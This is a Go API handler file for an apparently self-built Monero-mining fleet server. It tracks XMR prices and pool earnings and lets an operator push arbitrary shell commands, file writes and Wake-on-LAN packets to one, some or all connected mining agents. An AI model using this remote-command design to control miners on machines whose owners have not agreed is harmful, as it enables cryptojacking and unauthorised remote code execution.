Files
AetherForge/server/internal/api/fleet_handler.go
2026-06-02 22:09:09 -07:00

576 lines
16 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
package api
import (
"encoding/binary"
"encoding/json"
"fmt"
"io"
"log"
"net"
"net/http"
"strconv"
"strings"
"sync"
"time"
"crypto-miner-server/internal/alerts"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/pool"
"github.com/go-chi/chi/v5"
)
// xmrPriceEntry caches the CoinGecko price response to avoid hammering the API.
type xmrPriceEntry struct {
USD float64
fetchedAt time.Time
}
const xmrPriceTTL = 10 * time.Minute
type FleetHandler struct {
db *db.Database
ws *WSHub
ai *AIHandler
pools *pool.Manager
alerts *alerts.Evaluator
defaultPool pool.Config
// XMR price cache — per-handler so multiple routers in one process stay isolated.
xmrPriceMu sync.Mutex
xmrPriceCache *xmrPriceEntry
// Real-earnings cache (avoids hammering the pool API)
earningsMu sync.Mutex
earningsCache map[string]*poolEarningsCache
}
type poolEarningsCache struct {
data map[string]interface{}
fetchedAt time.Time
}
const earningsCacheTTL = 5 * time.Minute
func NewFleetHandler(database *db.Database, ws *WSHub, ai *AIHandler, pools *pool.Manager, evaluator *alerts.Evaluator, defaultPool pool.Config) *FleetHandler {
return &FleetHandler{
db: database,
ws: ws,
ai: ai,
pools: pools,
alerts: evaluator,
defaultPool: defaultPool,
}
}
func (f *FleetHandler) GetAlerts(w http.ResponseWriter, r *http.Request) {
if f.alerts == nil {
writeJSON(w, []alerts.AlertEvent{})
return
}
writeJSON(w, f.alerts.ActiveAlerts())
}
func (f *FleetHandler) GetPoolStatus(w http.ResponseWriter, r *http.Request) {
if f.pools == nil {
writeJSON(w, []pool.PoolStatus{})
return
}
writeJSON(w, f.pools.ListStatus())
}
func (f *FleetHandler) GetAIActivity(w http.ResponseWriter, r *http.Request) {
if f.ai == nil {
writeJSON(w, []AIActivityEntry{})
return
}
writeJSON(w, f.ai.ActivitySnapshot())
}
// GetXMRPrice returns the current XMR/USD price from CoinGecko, cached for 10 minutes.
// Falls back to a 503 when the upstream is unreachable so the frontend can degrade gracefully.
func (f *FleetHandler) GetXMRPrice(w http.ResponseWriter, r *http.Request) {
f.xmrPriceMu.Lock()
if f.xmrPriceCache != nil && time.Since(f.xmrPriceCache.fetchedAt) < xmrPriceTTL {
usd := f.xmrPriceCache.USD
at := f.xmrPriceCache.fetchedAt
f.xmrPriceMu.Unlock()
writeJSON(w, map[string]interface{}{
"usd": usd,
"fetched_at": at.UTC().Format(time.RFC3339),
"source": "coingecko",
})
return
}
f.xmrPriceMu.Unlock()
client := &http.Client{Timeout: 8 * time.Second}
resp, err := client.Get("https://api.coingecko.com/api/v3/simple/price?ids=monero&vs_currencies=usd") //nolint:gosec
if err != nil {
http.Error(w, "price fetch failed: "+err.Error(), http.StatusServiceUnavailable)
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(io.LimitReader(resp.Body, 4096))
var raw map[string]map[string]float64
if err := json.Unmarshal(body, &raw); err != nil || raw["monero"] == nil {
http.Error(w, "price parse failed", http.StatusBadGateway)
return
}
usd := raw["monero"]["usd"]
entry := &xmrPriceEntry{USD: usd, fetchedAt: time.Now()}
f.xmrPriceMu.Lock()
f.xmrPriceCache = entry
f.xmrPriceMu.Unlock()
writeJSON(w, map[string]interface{}{
"usd": usd,
"fetched_at": entry.fetchedAt.UTC().Format(time.RFC3339),
"source": "coingecko",
})
}
// GetEarningsEstimate — kept for backwards compat; delegates to GetEarnings.
func (f *FleetHandler) GetEarningsEstimate(w http.ResponseWriter, r *http.Request) {
f.GetEarnings(w, r)
}
// GetEarnings returns real pool stats for the configured wallet when the pool
// is SupportXMR-compatible (REST API available). Falls back to formula estimate.
func (f *FleetHandler) GetEarnings(w http.ResponseWriter, r *http.Request) {
hashrate := parseFloatQuery(r, "hashrate", 0)
estimate := EstimateXMRPerDay(hashrate)
// Determine wallet from query param or server config
wallet := r.URL.Query().Get("wallet")
if wallet == "" && f.db != nil {
// Try to read the wallet from the most recent build record
if builds, err := f.db.ListBuilds(1); err == nil && len(builds) > 0 {
wallet = builds[0].Wallet
}
}
if wallet == "" {
writeJSON(w, estimate)
return
}
// Try SupportXMR REST API
real, err := f.fetchPoolEarnings(wallet)
if err != nil {
log.Printf("[earnings] pool API error (%s): %v — using estimate", wallet[:min(8, len(wallet))], err)
writeJSON(w, estimate)
return
}
// Merge pool data over the estimate
for k, v := range real {
estimate[k] = v
}
estimate["source"] = "pool_api"
writeJSON(w, estimate)
}
func (f *FleetHandler) fetchPoolEarnings(wallet string) (map[string]interface{}, error) {
f.earningsMu.Lock()
if f.earningsCache == nil {
f.earningsCache = map[string]*poolEarningsCache{}
}
if cached, ok := f.earningsCache[wallet]; ok && time.Since(cached.fetchedAt) < earningsCacheTTL {
data := cached.data
f.earningsMu.Unlock()
return data, nil
}
f.earningsMu.Unlock()
url := fmt.Sprintf("https://supportxmr.com/api/miner/%s/stats", wallet)
client := &http.Client{Timeout: 8 * time.Second}
resp, err := client.Get(url) //nolint:gosec
if err != nil {
return nil, err
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return nil, fmt.Errorf("pool API returned %s", resp.Status)
}
body, err := io.ReadAll(io.LimitReader(resp.Body, 32*1024))
if err != nil {
return nil, err
}
var raw map[string]interface{}
if err := json.Unmarshal(body, &raw); err != nil {
return nil, err
}
// Normalise SupportXMR fields into our API format
const piconeroPerXMR = 1e12
result := map[string]interface{}{}
if v, ok := raw["amtDue"].(float64); ok {
result["pending_xmr"] = v / piconeroPerXMR
}
if v, ok := raw["amtPaid"].(float64); ok {
result["paid_xmr"] = v / piconeroPerXMR
}
if v, ok := raw["totalHashes"].(float64); ok {
result["total_hashes"] = v
}
if v, ok := raw["hashRate"].(float64); ok {
result["pool_hashrate"] = v
}
if v, ok := raw["lastPaymentTs"].(float64); ok && v > 0 {
result["last_payment_time"] = time.Unix(int64(v), 0).UTC().Format(time.RFC3339)
}
if v, ok := raw["lastPayment"].(float64); ok {
result["last_payment_xmr"] = v / piconeroPerXMR
}
f.earningsMu.Lock()
f.earningsCache[wallet] = &poolEarningsCache{data: result, fetchedAt: time.Now()}
f.earningsMu.Unlock()
return result, nil
}
func min(a, b int) int {
if a < b {
return a
}
return b
}
func (f *FleetHandler) GetAgentLog(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
if f.ws == nil {
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
return
}
content := f.ws.GetAgentLog(id)
if r.URL.Query().Get("refresh") == "1" {
// Fire the get_log command and return immediately — the response arrives
// via the WebSocket command_result broadcast (fixes M18: no more 1.8s block).
// The dashboard will receive the log content via the commandResults queue.
_ = f.ws.SendAgentCommand(id, "get_log", map[string]interface{}{"tail_lines": 300})
}
writeJSON(w, map[string]interface{}{
"agent_id": id,
"content": content,
})
}
type agentCommandRequest struct {
Action string `json:"action"`
TailLines int `json:"tail_lines,omitempty"`
Command string `json:"command,omitempty"`
Path string `json:"path,omitempty"`
Data string `json:"data,omitempty"`
}
func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
if id == "" {
http.Error(w, "agent id is required", http.StatusBadRequest)
return
}
var req agentCommandRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid command", http.StatusBadRequest)
return
}
if req.Action == "" {
http.Error(w, "action is required", http.StatusBadRequest)
return
}
if f.ws == nil {
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
return
}
args := map[string]interface{}{}
if req.TailLines > 0 {
args["tail_lines"] = req.TailLines
}
if req.Command != "" {
args["command"] = req.Command
}
if req.Path != "" {
args["path"] = req.Path
}
if req.Data != "" {
args["data"] = req.Data
}
if id == "all" {
if f.ws.connectedAgentCount() == 0 {
writeJSON(w, map[string]interface{}{
"success": false,
"error": "no connected agents",
"agent_id": id,
"action": req.Action,
})
return
}
f.ws.BroadcastAgentCommand(req.Action, args)
} else {
if !f.ws.isAgentConnected(id) {
writeJSON(w, map[string]interface{}{
"success": false,
"error": "agent not connected",
"agent_id": id,
"action": req.Action,
})
return
}
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
writeJSON(w, map[string]interface{}{
"success": false,
"error": err.Error(),
"agent_id": id,
"action": req.Action,
})
return
}
}
writeJSON(w, map[string]interface{}{
"success": true,
"agent_id": id,
"action": req.Action,
})
}
// PostAgentWOL sends a Wake-on-LAN magic packet to the agent's MAC address.
// The packet is broadcast on UDP port 9 to the last known subnet.
func (f *FleetHandler) PostAgentWOL(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
if id == "" {
http.Error(w, "agent id is required", http.StatusBadRequest)
return
}
// Accept optional override MAC from request body
var req struct {
MAC string `json:"mac"`
}
_ = json.NewDecoder(r.Body).Decode(&req)
// Look up MAC from DB if not provided
mac := req.MAC
if mac == "" {
agent, err := f.db.GetAgent(id)
if err != nil || agent == nil {
writeJSON(w, map[string]interface{}{"success": false, "error": "agent not found"})
return
}
mac = agent.MacAddress
}
if mac == "" {
writeJSON(w, map[string]interface{}{"success": false, "error": "no MAC address on record — provide mac in request body"})
return
}
if err := sendMagicPacket(mac); err != nil {
writeJSON(w, map[string]interface{}{"success": false, "error": err.Error()})
return
}
writeJSON(w, map[string]interface{}{"success": true, "mac": mac})
}
// sendMagicPacket sends a WOL magic packet for the given MAC address.
func sendMagicPacket(macStr string) error {
macStr = strings.ReplaceAll(macStr, "-", ":")
hw, err := net.ParseMAC(macStr)
if err != nil {
return fmt.Errorf("invalid MAC address %q: %w", macStr, err)
}
// Magic packet: 6× 0xFF followed by 16× MAC address (102 bytes total)
pkt := make([]byte, 102)
for i := 0; i < 6; i++ {
pkt[i] = 0xFF
}
for i := 1; i <= 16; i++ {
copy(pkt[i*6:], hw)
}
// Broadcast on limited broadcast address, port 9
addr := &net.UDPAddr{IP: net.IPv4bcast, Port: 9}
conn, err := net.DialUDP("udp4", nil, addr)
if err != nil {
// Try port 7 as fallback
addr.Port = 7
conn, err = net.DialUDP("udp4", nil, addr)
if err != nil {
return fmt.Errorf("failed to open UDP socket: %w", err)
}
}
defer conn.Close()
_, err = conn.Write(pkt)
_ = binary.BigEndian // ensure import is used
return err
}
type agentMetaRequest struct {
Notes string `json:"notes"`
Tags []string `json:"tags"`
}
func (f *FleetHandler) PutAgentMeta(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
if id == "" {
http.Error(w, "agent id is required", http.StatusBadRequest)
return
}
var req agentMetaRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid body", http.StatusBadRequest)
return
}
if _, err := f.db.GetAgent(id); err != nil {
http.Error(w, "agent not found", http.StatusNotFound)
return
}
if err := f.db.UpdateAgentMeta(id, req.Notes, req.Tags); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
agent, _ := f.db.GetAgent(id)
writeJSON(w, map[string]interface{}{"success": true, "agent": agent})
}
type bulkCommandRequest struct {
AgentIDs []string `json:"agent_ids"`
Action string `json:"action"`
Command string `json:"command,omitempty"`
}
func (f *FleetHandler) PostBulkCommand(w http.ResponseWriter, r *http.Request) {
if f.ws == nil {
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
return
}
var req bulkCommandRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid body", http.StatusBadRequest)
return
}
if req.Action == "" {
http.Error(w, "action is required", http.StatusBadRequest)
return
}
if len(req.AgentIDs) == 0 {
writeJSON(w, map[string]interface{}{
"success": false,
"error": "agent_ids is required",
})
return
}
args := map[string]interface{}{}
if req.Command != "" {
args["command"] = req.Command
}
sent := 0
failed := 0
for _, id := range req.AgentIDs {
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
failed++
} else {
sent++
}
}
writeJSON(w, map[string]interface{}{
"success": sent > 0,
"sent": sent,
"failed": failed,
"action": req.Action,
})
}
// EstimateXMRPerDay uses approximate network hashrate (~3 GH/s) and daily emission (~432 XMR).
func EstimateXMRPerDay(hashrate float64) map[string]interface{} {
const networkHashrate = 3_000_000_000.0
const dailyEmissionXMR = 432.0
xmr := 0.0
if hashrate > 0 && networkHashrate > 0 {
xmr = (hashrate / networkHashrate) * dailyEmissionXMR
}
return map[string]interface{}{
"hashrate": hashrate,
"xmr_per_day": xmr,
"usd_per_day": nil,
"network_hashrate": networkHashrate,
"note": "Approximate estimate based on ~3 GH/s network hashrate; actual earnings vary with difficulty and pool luck.",
}
}
// DeleteAgent removes an agent record from the database.
// If the agent is currently online it is also disconnected (kicked).
func (f *FleetHandler) DeleteAgent(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
if id == "" {
http.Error(w, "missing agent id", http.StatusBadRequest)
return
}
// Kick live connection first (non-fatal if offline).
if f.ws != nil {
_ = f.ws.SendToAgent(id, Message{Type: "disconnect", Payload: mustMarshalFleet(map[string]string{"reason": "deleted from roster"})})
f.ws.RemoveAgent(id)
}
if err := f.db.DeleteAgent(id); err != nil {
http.Error(w, "delete failed: "+err.Error(), http.StatusInternalServerError)
return
}
// Clear stale in-memory alerts so the machine stops showing up in the
// dashboard alert banner after deletion.
if f.alerts != nil {
f.alerts.ClearAgent(id)
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]bool{"success": true})
}
// BulkDeleteAgents deletes multiple agents from the database in one call.
func (f *FleetHandler) BulkDeleteAgents(w http.ResponseWriter, r *http.Request) {
var req struct {
IDs []string `json:"ids"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil || len(req.IDs) == 0 {
http.Error(w, "ids required", http.StatusBadRequest)
return
}
deleted := 0
for _, id := range req.IDs {
if f.ws != nil {
_ = f.ws.SendToAgent(id, Message{Type: "disconnect", Payload: mustMarshalFleet(map[string]string{"reason": "deleted from roster"})})
f.ws.RemoveAgent(id)
}
if err := f.db.DeleteAgent(id); err == nil {
deleted++
if f.alerts != nil {
f.alerts.ClearAgent(id)
}
}
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]interface{}{"success": true, "deleted": deleted})
}
func mustMarshalFleet(v interface{}) json.RawMessage {
b, _ := json.Marshal(v)
return b
}
func parseFloatQuery(r *http.Request, key string, def float64) float64 {
v := r.URL.Query().Get(key)
if v == "" {
return def
}
f, err := strconv.ParseFloat(v, 64)
if err != nil {
return def
}
return f
}